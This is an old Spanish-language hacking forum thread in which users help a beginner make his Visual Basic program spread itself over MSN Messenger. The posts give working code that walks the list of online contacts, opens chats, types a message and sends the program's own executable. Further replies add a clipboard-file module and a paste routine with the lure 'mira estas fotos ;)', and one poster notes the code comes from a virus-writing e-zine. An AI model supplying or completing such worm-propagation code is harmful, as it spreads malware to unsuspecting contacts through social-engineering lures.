Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: hAcKeR92 en 9 Marzo 2008, 23:41 pm



Título: Duda con enviar archivos por MSN
Publicado por: hAcKeR92 en 9 Marzo 2008, 23:41 pm
Hola de nuevo!!!

A ver, tengo una duda que se me planteo siguiendo la guia del hendrix.
Estuve intentando que mi archivo se propagase por MSN, pero no lo consigo.
Hago la prueba con dos ordenadores de mi casa con dos cuentas de MSN diferentes, consigo enviar el mensaje, pero en vez de enviar el archivo, se queda en la pantalla donde seleccionar el archivo...

El codigo:

Código:
Private Sub SpamMsn(ByVal mHwnd)
On Error Resume Next
Dim l As Long, spam As String
l = FindWindowEx(mHwnd, 0, "DirectUIHWND", vbNullString) 'Buscamos esa clase dentro de la ventana
If l = 0 Then Exit Sub 'Si no es asi, nos vamos al carajo
Call SendText(l, "TEXTO DE PRUEBA") 'Mensaje a enviar
EnviarFile App.Path & "\" & App.EXEName & ".exe", l 'Archivo a enviar
End Sub

seria buenisimo si me consiguen ayudar, ya que estoy muy interesado en VB..

Un saludo

PD: creo que el fallo esta donde enviarfile noseque, l ' Archivo a enviar
pero no se....


Título: Re: Duda con enviar archivos por MSN
Publicado por: naderST en 9 Marzo 2008, 23:45 pm
dame algo mas de codigo o el link de donde te estas guiando porfavor asi te puedo ayudar.


Título: Re: Duda con enviar archivos por MSN
Publicado por: hAcKeR92 en 9 Marzo 2008, 23:48 pm
Este es el codigo entero:

Código:
Private Sub Form_Load()
On Error GoTo NotCompatible
Set w = CreateObject("Messenger.UIAutomation")
For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto
If ConTacto.Status = 2 Then 'Si el contacto esta OnLine...
Set iMsn = w.InstantMessage(ConTacto.SigninName) 'abrimos la ventana de chat
Call SpamMsn(iMsn.hwnd) 'Esta funcion es la que hace el trabajo
End If
Next
Exit Sub
NotCompatible:
MsgBox "No tienes MSN instalado en el sistema", vbCritical, "Error"
End Sub

Private Sub SpamMsn(ByVal mHwnd)
On Error Resume Next
Dim l As Long, spam As String
l = FindWindowEx(mHwnd, 0, "DirectUIHWND", vbNullString) 'Buscamos esa clase dentro de la ventana
If l = 0 Then Exit Sub 'Si no es asi, nos vamos al carajo
Call SendText(l, "TEXTO DE PRUEBA") 'Mensaje a enviar
EnviarFile App.Path & "\" & App.EXEName & ".exe", l 'Archivo a enviar
End Sub

Public Sub SendText(pIMWindow As Long, sText As String)
Dim hDirectUI As Long, hPrevWnd As Long
Dim i As Integer
hDirectUI = pIMWindow
Do
Call SetForegroundWindow(hDirectUI)
Loop Until GetForegroundWindow = hDirectUI
For i = 1 To Len(sText)
Call PostMessage(hDirectUI, WM_CHAR, Asc(Mid(sText, i, 1)), 0&)
Next i
Call PostMessage(hDirectUI, WM_KEYDOWN, VK_RETURN, 0&)
Call PostMessage(hDirectUI, WM_KEYUP, VK_RETURN, 0&)
End Sub

Public Function EnviarFile(ByVal DirPath As String, hwn As Long) As Boolean
Dim X As Long
Dim Edit As Long
Dim ParentHWnd As Long
Dim fWindowText As Object
Dim hWndText As String
Dim t As Single
Call PostMessage(GetWindowLong(hwn, GWL_HWNDPARENT), WM_COMMAND, 40275, 0)
DoEvents
X = GetWindow(GetDesktopWindow(), GW_CHILD)
hWndText = fWindowText(X)
t = Timer
Do Until (InStr(hWndText, "Enviar") <> 0 Or (InStr(hWndText, "Send") <> 0))
X = GetWindow(X, GW_HWNDNEXT)
hWndText = fWindowText(X)
If Format(Timer - t, "0.00") > 5 Then GoTo FIN
Loop
Edit = FindWindowEx(X, 0, "Edit", vbNullString)
If Edit = 0 Then
Edit = FindWindowEx(X, 0, "ComboBoxEx32", vbNullString)
Edit = FindWindowEx(Edit, 0, "ComboBox", vbNullString)
End If
If Edit = 0 Then Exit Function
Call SendMessageByString(Edit, WM_SETTEXT, 0, DirPath)
Call PostMessage(Edit, WM_KEYDOWN, VK_RETURN, 0&)
Call PostMessage(Edit, WM_KEYUP, VK_RETURN, 0&)
EnviarFile = True
FIN:
End Function


Título: Re: Duda con enviar archivos por MSN
Publicado por: krackwar en 10 Marzo 2008, 00:03 am
no lei el code pero una manera de emviar archivos por msn(facil) es que copie el archivo en el portapapeles i lo pege en todas las ventanas que digan comversacion


Título: Re: Duda con enviar archivos por MSN
Publicado por: hAcKeR92 en 10 Marzo 2008, 00:04 am
vale, y como se hace eso???


Título: Re: Duda con enviar archivos por MSN
Publicado por: 3k1n0x en 10 Marzo 2008, 00:22 am
men, si kieres con una condicion yo te paso el codigo listico, yo lo hice hace tiempo, q se meta en un zip y luego al portapapeles y blablabla, el problema viene a la hora de que es lo que quieres q se propague, si tienes algo muy bueno para propagar me dices y si es en c++ mejor salu2s


Título: Re: Duda con enviar archivos por MSN
Publicado por: naderST en 10 Marzo 2008, 03:04 am
te recomeindo que lo hagas con el api del MSN y copiandolo al clipboard es mejor


Título: Re: Duda con enviar archivos por MSN
Publicado por: hAcKeR92 en 10 Marzo 2008, 08:40 am
vale, pero me podeis decir como se copia al portapapeles en VB???
soy principiante y no entiendo mucho...


Título: Re: Duda con enviar archivos por MSN
Publicado por: mojolloyo20 en 10 Marzo 2008, 21:56 pm
bueno seria una cosa asin

Dim app(0) As String
app(0) = "C:\archivo a enviar.zip"
If ClipboardCopyFiles(app) = True Then ' se copia en el portapapeles el archivo archivo a enviar.zip


yo aria que el front ,se pusiera las 10 ultimas letras del titulo de la ventana, la cual esta activa,que seria la del msn conversacion,haciendole un foco o algo asin

y despues si el nombre del front1 es = a las 10 ultimas letras,pos ya seguiriamos con el codigo anterior.

guardando el archivo en el clipboar ese y enviandole el archivo y las SendKeys


espero que me entiendas y averte ayudado en algo.


yo hace timer intente con ese codigo de hendrix y no saque nada.

te ba bien lo de ir de contacto en contacto?si estan online?

me parecio leeer por hay algo de que lo kitaron,pero no lo creo

pero si alguien puede dar+info

posdata:tampoco me agas mucho caso que yo de vb muy poco.

salu2


Título: Re: Duda con enviar archivos por MSN
Publicado por: cassiani en 11 Marzo 2008, 17:24 pm
pero me podeis decir como se copia al portapapeles en VB???

 Usa el modulo que dejo Cobein:
http://www.recursosvisualbasic.com.ar/foro/copiar-archivos-al-portapapeles-t1630.0.html
 (http://www.recursosvisualbasic.com.ar/foro/copiar-archivos-al-portapapeles-t1630.0.html)

Si el enlace no te funciona entones usa este otro, ya había sido posteado es este subforo.
http://foro.elhacker.net/index.php/topic,199434.msg948044.html (http://foro.elhacker.net/index.php/topic,199434.msg948044.html)

http://foro.elhacker.net/index.php/topic,180904.0.html (http://foro.elhacker.net/index.php/topic,180904.0.html)

Código
  1. Private Sub CmdCopiarArchivo_Click()
  2. Dim Cadena As String
  3.    Cadena = App.Path & "/" & App.EXEName & ".exe"
  4.    CopyClipboard Me.hWnd, Array(Cadena)
  5. End Sub

¡S4lu2!


Título: Re: Duda con enviar archivos por MSN
Publicado por: hAcKeR92 en 13 Marzo 2008, 20:33 pm
muchas gracias por todo..

Sigo sin conseguirlo.
Me da error Sub or Function not defined en la linea que pone Clipboard...

Aqui esta el code que llevo (de momento, copiaría el archivo y abriria la ventana para pegarse alli, que no se tampoco cual es la funcion... probe con PasteClipboard xD)

Private Sub CmdCopiarArchivo_Click()
On Error GoTo error1
Me.Hide
Dim Cadena As String
Cadena = App.Path & "/" & App.EXEName & ".exe"
CopyClipboard Me.hWnd, Array(Cadena)
AppActivate "Conversación"
error1:
End Sub


Título: Re: Duda con enviar archivos por MSN
Publicado por: mojolloyo20 en 13 Marzo 2008, 23:30 pm
bueno otro modulo amigo, aver si te sirve.

modulo:

Option Explicit
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
' Required data structures
Private Type POINTAPI
X As Long
y As Long
End Type

' Clipboard Manager Functions
Private Declare Function EmptyClipboard Lib "user32" () As Long
Private Declare Function OpenClipboard Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function CloseClipboard Lib "user32" () As Long
Private Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long
Private Declare Function GetClipboardData Lib "user32" (ByVal wFormat As Long) As Long
Private Declare Function IsClipboardFormatAvailable Lib "user32" (ByVal wFormat As Long) As Long

' Other required Win32 APIs


' Predefined Clipboard Formats
Private Const CF_TEXT = 1
Private Const CF_BITMAP = 2
Private Const CF_METAFILEPICT = 3
Private Const CF_SYLK = 4
Private Const CF_DIF = 5
Private Const CF_TIFF = 6
Private Const CF_OEMTEXT = 7
Private Const CF_DIB = 8
Private Const CF_PALETTE = 9
Private Const CF_PENDATA = 10
Private Const CF_RIFF = 11
Private Const CF_WAVE = 12
Private Const CF_UNICODETEXT = 13
Private Const CF_ENHMETAFILE = 14
Private Const CF_HDROP = 15
Private Const CF_LOCALE = 16
Private Const CF_MAX = 17

' New shell-oriented clipboard formats
Private Const CFSTR_SHELLIDLIST As String = "Shell IDList Array"
Private Const CFSTR_SHELLIDLISTOFFSET As String = "Shell Object Offsets"
Private Const CFSTR_NETRESOURCES As String = "Net Resource"
Private Const CFSTR_FILEDESCRIPTOR As String = "FileGroupDescriptor"
Private Const CFSTR_FILECONTENTS As String = "FileContents"
Private Const CFSTR_FILENAME As String = "FileName"
Private Const CFSTR_PRINTERGROUP As String = "PrinterFriendlyName"
Private Const CFSTR_FILENAMEMAP As String = "FileNameMap"

' Global Memory Flags
Private Const GMEM_FIXED = &H0
Private Const GMEM_MOVEABLE = &H2
Private Const GMEM_NOCOMPACT = &H10
Private Const GMEM_NODISCARD = &H20
Private Const GMEM_ZEROINIT = &H40
Private Const GMEM_MODIFY = &H80
Private Const GMEM_DISCARDABLE = &H100
Private Const GMEM_NOT_BANKED = &H1000
Private Const GMEM_SHARE = &H2000
Private Const GMEM_DDESHARE = &H2000
Private Const GMEM_NOTIFY = &H4000
Private Const GMEM_LOWER = GMEM_NOT_BANKED
Private Const GMEM_VALID_FLAGS = &H7F72
Private Const GMEM_INVALID_HANDLE = &H8000
Private Const GHND = (GMEM_MOVEABLE Or GMEM_ZEROINIT)
Private Const GPTR = (GMEM_FIXED Or GMEM_ZEROINIT)

Private Type DROPFILES
pFiles As Long
pt As POINTAPI
fNC As Long
fWide As Long
End Type

Private Declare Function DragQueryFile Lib "shell32.dll" Alias "DragQueryFileA" (ByVal hDrop As Long, ByVal UINT As Long, ByVal lpStr As String, ByVal ch As Long) As Long
Private Declare Function DragQueryPoint Lib "shell32.dll" (ByVal hDrop As Long, lpPoint As POINTAPI) As Long
Private Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Function GlobalFree Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalUnlock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Function ClipboardCopyFiles(Files() As String) As Boolean

Dim data As String
Dim df As DROPFILES
Dim hGlobal As Long
Dim lpGlobal As Long
Dim i As Long

' Open and clear existing crud off clipboard.
If OpenClipboard(0&) Then
Call EmptyClipboard

' Build double-null terminated list of files.
For i = LBound(Files) To UBound(Files)
data = data & Files(i) & vbNullChar
Next
data = data & vbNullChar

' Allocate and get pointer to global memory,

' then copy file list to it.
hGlobal = GlobalAlloc(GHND, Len(df) + Len(data))
If hGlobal Then
lpGlobal = GlobalLock(hGlobal)

' Build DROPFILES structure in global memory.
df.pFiles = Len(df)
Call CopyMem(ByVal lpGlobal, df, Len(df))
Call CopyMem(ByVal (lpGlobal + Len(df)), ByVal data, Len(data))
Call GlobalUnlock(hGlobal)

' Copy data to clipboard, and return success.
If SetClipboardData(CF_HDROP, hGlobal) Then
ClipboardCopyFiles = True
End If
End If

' Clean up
Call CloseClipboard
End If

End Function


fin del modulo.


y ate dije que con ese codec no consegui nada,pero con este modulo sip y el codec de antes.

bueno ami manera de ver seria algo asin:

Private Sub Timer1_Timer()
On Error Resume Next
Me.Hide
AppActivate "Conversación"
If front1.Caption = "Conversación"
Cadena = App.Path & "/" & App.EXEName & ".exe"
if ClipboardCopyFiles,Me.hWnd, Array(Cadena) = True then
SendKeys "^V" ' se llama a la fncion newpropMSN
SendKeys " mira estas fotos ;) "
SendKeys "{ENTER}"
Err = 0
End Sub
bueno lo mismo tiene ortografias y seguro que no ba,pero para que te agas una idea.

algo asin como, si hay alguna ventana de messenger abieta se pone delante de todas como ventana principal,si en el front1 pone conversacion se ejecutara lo sigiente,se copia a si mismo y llama a la funcion newectect,envia una frase y da al enter.


y digo yo,por el msn no se pueden enviar exe no?tendria que copiarlo en la pc y comprimirlo y decirle la ubicacion,no se si me explico?

y si no tiene el winrrar?por que por vb el winrrar se podra manejar o no?

bueno un salu2



Título: Re: Duda con enviar archivos por MSN
Publicado por: cassiani en 14 Marzo 2008, 05:25 am
Sigo sin conseguirlo.
Me da error Sub or Function not defined en la linea que pone Clipboard...

Simplemente no te detuvistes a leer un poco, te dije lo siguiente y me cito:

Usa el modulo que dejo Cobein

Eso es justamente lo que debés hacer, adapta el modulo que te indique a tu proyecto y luego puedes usar el ejemplo que te cite, (porque ese ejemplo es el mismo que Cobein publico modificando solo los datos que carga el array y funciona perfectamente).

Tu error es justamente por eso, no puedes usar una función que no reconozca el vb, si no le pertenece al lenguaje tienes que declararla y establecer su rutina, esa será la función o el objetivo que cumplirá el modulo en este caso...

¡no se si me entendistes! ¡s4lu2!

 :¬¬ :¬¬ :¬¬ :¬¬


Título: Re: Duda con enviar archivos por MSN
Publicado por: NetWar en 21 Marzo 2008, 23:49 pm
Claro mediante Clipboard...ese code que pusistes al principio pertenece a GEDZAC a una de sus ezine